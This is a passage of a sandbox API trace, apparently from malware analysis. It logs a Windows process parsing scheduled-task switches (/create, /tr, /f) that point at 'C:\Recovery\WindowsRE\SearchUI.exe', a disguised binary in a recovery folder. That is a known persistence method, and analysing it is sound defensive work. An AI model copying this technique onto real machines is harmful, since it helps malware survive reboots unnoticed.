[0125.063] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.063] lstrlenW (lpString="u") returned 1 [0125.063] lstrlenW (lpString="u") returned 1 [0125.063] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.063] lstrlenW (lpString="tr") returned 2 [0125.063] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.063] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|u|") returned 3 [0125.063] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.063] lstrlenW (lpString="|u|") returned 3 [0125.063] lstrlenW (lpString="|tr|") returned 4 [0125.063] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.063] lstrlenW (lpString="p") returned 1 [0125.063] lstrlenW (lpString="p") returned 1 [0125.063] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.063] lstrlenW (lpString="tr") returned 2 [0125.063] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.064] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|p|") returned 3 [0125.064] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.064] lstrlenW (lpString="|p|") returned 3 [0125.064] lstrlenW (lpString="|tr|") returned 4 [0125.064] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.064] lstrlenW (lpString="ru") returned 2 [0125.064] lstrlenW (lpString="ru") returned 2 [0125.064] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.064] lstrlenW (lpString="tr") returned 2 [0125.064] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.064] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|ru|") returned 4 [0125.064] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.064] lstrlenW (lpString="|ru|") returned 4 [0125.064] lstrlenW (lpString="|tr|") returned 4 [0125.064] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0125.064] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.064] lstrlenW (lpString="rp") returned 2 [0125.064] lstrlenW (lpString="rp") returned 2 [0125.064] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.064] lstrlenW (lpString="tr") returned 2 [0125.064] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.064] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|rp|") returned 4 [0125.064] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.064] lstrlenW (lpString="|rp|") returned 4 [0125.064] lstrlenW (lpString="|tr|") returned 4 [0125.064] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0125.064] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.065] lstrlenW (lpString="sc") returned 2 [0125.065] lstrlenW (lpString="sc") returned 2 [0125.065] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.065] lstrlenW (lpString="tr") returned 2 [0125.065] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.065] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.065] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.065] lstrlenW (lpString="|sc|") returned 4 [0125.065] lstrlenW (lpString="|tr|") returned 4 [0125.065] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0125.065] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.065] lstrlenW (lpString="mo") returned 2 [0125.065] lstrlenW (lpString="mo") returned 2 [0125.065] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.065] lstrlenW (lpString="tr") returned 2 [0125.065] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.065] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.065] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.065] lstrlenW (lpString="|mo|") returned 4 [0125.065] lstrlenW (lpString="|tr|") returned 4 [0125.065] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0125.065] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.065] lstrlenW (lpString="d") returned 1 [0125.065] lstrlenW (lpString="d") returned 1 [0125.065] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.065] lstrlenW (lpString="tr") returned 2 [0125.065] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.065] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|d|") returned 3 [0125.066] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.066] lstrlenW (lpString="|d|") returned 3 [0125.066] lstrlenW (lpString="|tr|") returned 4 [0125.066] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.066] lstrlenW (lpString="m") returned 1 [0125.066] lstrlenW (lpString="m") returned 1 [0125.066] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.066] lstrlenW (lpString="tr") returned 2 [0125.066] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.066] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|m|") returned 3 [0125.066] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.066] lstrlenW (lpString="|m|") returned 3 [0125.066] lstrlenW (lpString="|tr|") returned 4 [0125.066] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.066] lstrlenW (lpString="i") returned 1 [0125.066] lstrlenW (lpString="i") returned 1 [0125.066] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.066] lstrlenW (lpString="tr") returned 2 [0125.066] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.066] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|i|") returned 3 [0125.066] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.066] lstrlenW (lpString="|i|") returned 3 [0125.066] lstrlenW (lpString="|tr|") returned 4 [0125.066] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.066] lstrlenW (lpString="tn") returned 2 [0125.066] lstrlenW (lpString="tn") returned 2 [0125.066] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.067] lstrlenW (lpString="tr") returned 2 [0125.067] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.067] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.067] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.067] lstrlenW (lpString="|tn|") returned 4 [0125.067] lstrlenW (lpString="|tr|") returned 4 [0125.067] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0125.067] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.067] lstrlenW (lpString="tr") returned 2 [0125.067] lstrlenW (lpString="tr") returned 2 [0125.067] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.067] lstrlenW (lpString="tr") returned 2 [0125.067] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.067] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.067] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.067] lstrlenW (lpString="|tr|") returned 4 [0125.067] lstrlenW (lpString="|tr|") returned 4 [0125.067] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0125.067] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.067] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.067] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.067] lstrlenW (lpString="-/") returned 2 [0125.067] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0125.067] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.067] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.067] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.067] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.067] StrChrIW (lpStart="'C:\\Recovery\\WindowsRE\\SearchUI.exe'", wMatch=0x3a) returned=":\\Recovery\\WindowsRE\\SearchUI.exe'" [0125.068] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.068] _memicmp (_Buf1=0x21c24e942e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.068] _memicmp (_Buf1=0x21c24e9abd0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.068] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.068] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.068] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.068] lstrlenW (lpString="'C") returned 2 [0125.068] lstrlenW (lpString="-/") returned 2 [0125.068] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0125.068] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.068] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.068] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.068] _memicmp (_Buf1=0x21c24e9aad0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.068] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.068] GetProcessHeap () returned 0x21c24e90000 [0125.068] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9a910) returned 1 [0125.068] GetProcessHeap () returned 0x21c24e90000 [0125.068] RtlReAllocateHeap (Heap=0x21c24e90000, Flags=0xc, Ptr=0x21c24e9a910, Size=0x4a) returned 0x21c24e94280 [0125.068] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.068] lstrlenW (lpString=" \x09") returned 2 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0125.068] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0125.069] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0125.069] GetLastError () returned 0x0 [0125.069] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.069] lstrlenW (lpString="'C:\\Recovery\\WindowsRE\\SearchUI.exe'") returned 36 [0125.070] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.070] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.070] lstrlenW (lpString="/f") returned 2 [0125.070] lstrlenW (lpString="-/") returned 2 [0125.070] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.070] lstrlenW (lpString="create") returned 6 [0125.070] lstrlenW (lpString="create") returned 6 [0125.070] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.070] lstrlenW (lpString="f") returned 1 [0125.070] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.070] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|create|") returned 8 [0125.070] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.070] lstrlenW (lpString="|create|") returned 8 [0125.070] lstrlenW (lpString="|f|") returned 3 [0125.070] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0125.070] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.070] lstrlenW (lpString="?") returned 1 [0125.070] lstrlenW (lpString="?") returned 1 [0125.070] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.070] lstrlenW (lpString="f") returned 1 [0125.070] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.070] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|?|") returned 3 [0125.070] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.070] lstrlenW (lpString="|?|") returned 3 [0125.070] lstrlenW (lpString="|f|") returned 3 [0125.070] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0125.070] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.070] lstrlenW (lpString="s") returned 1 [0125.070] lstrlenW (lpString="s") returned 1 [0125.071] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.071] lstrlenW (lpString="f") returned 1 [0125.071] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.071] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|s|") returned 3 [0125.071] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.071] lstrlenW (lpString="|s|") returned 3 [0125.071] lstrlenW (lpString="|f|") returned 3 [0125.071] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0125.071] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.071] lstrlenW (lpString="u") returned 1 [0125.071] lstrlenW (lpString="u") returned 1 [0125.071] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.071] lstrlenW (lpString="f") returned 1 [0125.071] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.071] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|u|") returned 3 [0125.071] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.071] lstrlenW (lpString="|u|") returned 3 [0125.071] lstrlenW (lpString="|f|") returned 3 [0125.071] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0125.071] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.071] lstrlenW (lpString="p") returned 1 [0125.071] lstrlenW (lpString="p") returned 1 [0125.071] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.071] lstrlenW (lpString="f") returned 1 [0125.071] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.071] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|p|") returned 3 [0125.072] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.072] lstrlenW (lpString="|p|") returned 3 [0125.072] lstrlenW (lpString="|f|") returned 3 [0125.072] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0125.072] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.072] lstrlenW (lpString="ru") returned 2 [0125.072] lstrlenW (lpString="ru") returned 2 [0125.072] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.072] lstrlenW (lpString="f") returned 1 [0125.072] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.072] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|ru|") returned 4 [0125.072] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.072] lstrlenW (lpString="|ru|") returned 4 [0125.072] lstrlenW (lpString="|f|") returned 3 [0125.072] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0125.072] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.072] lstrlenW (lpString="rp") returned 2 [0125.072] lstrlenW (lpString="rp") returned 2 [0125.072] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.072] lstrlenW (lpString="f") returned 1 [0125.072] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.072] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|rp|") returned 4 [0125.072] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.072] lstrlenW (lpString="|rp|") returned 4 [0125.072] lstrlenW (lpString="|f|") returned 3 [0125.072] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0125.072] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.072] lstrlenW (lpString="sc") returned 2 [0125.073] lstrlenW (lpString="sc") returned 2 [0125.073] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.073] lstrlenW (lpString="f") returned 1 [0125.073] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.073] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|sc|") returned 4 [0125.073] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.073] lstrlenW (lpString="|sc|") returned 4 [0125.073] lstrlenW (lpString="|f|") returned 3 [0125.073] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0125.073] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.073] lstrlenW (lpString="mo") returned 2 [0125.073] lstrlenW (lpString="mo") returned 2 [0125.073] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.073] lstrlenW (lpString="f") returned 1 [0125.073] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.073] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|mo|") returned 4 [0125.073] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.073] lstrlenW (lpString="|mo|") returned 4 [0125.073] lstrlenW (lpString="|f|") returned 3 [0125.073] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0125.073] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.073] lstrlenW (lpString="d") returned 1 [0125.073] lstrlenW (lpString="d") returned 1 [0125.073] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.073] lstrlenW (lpString="f") returned 1 [0125.073] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.073] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|d|") returned 3 [0125.074] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.074] lstrlenW (lpString="|d|") returned 3 [0125.074] lstrlenW (lpString="|f|") returned 3 [0125.074] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0125.074] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.074] lstrlenW (lpString="m") returned 1 [0125.074] lstrlenW (lpString="m") returned 1 [0125.074] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.074] lstrlenW (lpString="f") returned 1 [0125.074] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.074] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|m|") returned 3 [0125.074] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.074] lstrlenW (lpString="|m|") returned 3 [0125.074] lstrlenW (lpString="|f|") returned 3 [0125.074] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0125.074] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.074] lstrlenW (lpString="i") returned 1 [0125.074] lstrlenW (lpString="i") returned 1 [0125.074] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.074] lstrlenW (lpString="f") returned 1 [0125.074] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.074] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|i|") returned 3 [0125.105] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.105] lstrlenW (lpString="|i|") returned 3 [0125.105] lstrlenW (lpString="|f|") returned 3 [0125.105] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0125.105] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.105] lstrlenW (lpString="tn") returned 2 [0125.105] lstrlenW (lpString="tn") returned 2 [0125.105] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.105] lstrlenW (lpString="f") returned 1 [0125.105] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.105] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.105] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.105] lstrlenW (lpString="|tn|") returned 4 [0125.105] lstrlenW (lpString="|f|") returned 3 [0125.105] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0125.105] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.105] lstrlenW (lpString="tr") returned 2 [0125.105] lstrlenW (lpString="tr") returned 2 [0125.105] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.105] lstrlenW (lpString="f") returned 1 [0125.105] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.105] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tr|") returned 4 [0125.105] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|f|") returned 3 [0125.105] lstrlenW (lpString="|tr|") returned 4 [0125.105] lstrlenW (lpString="|f|") returned 3 [0125.106] 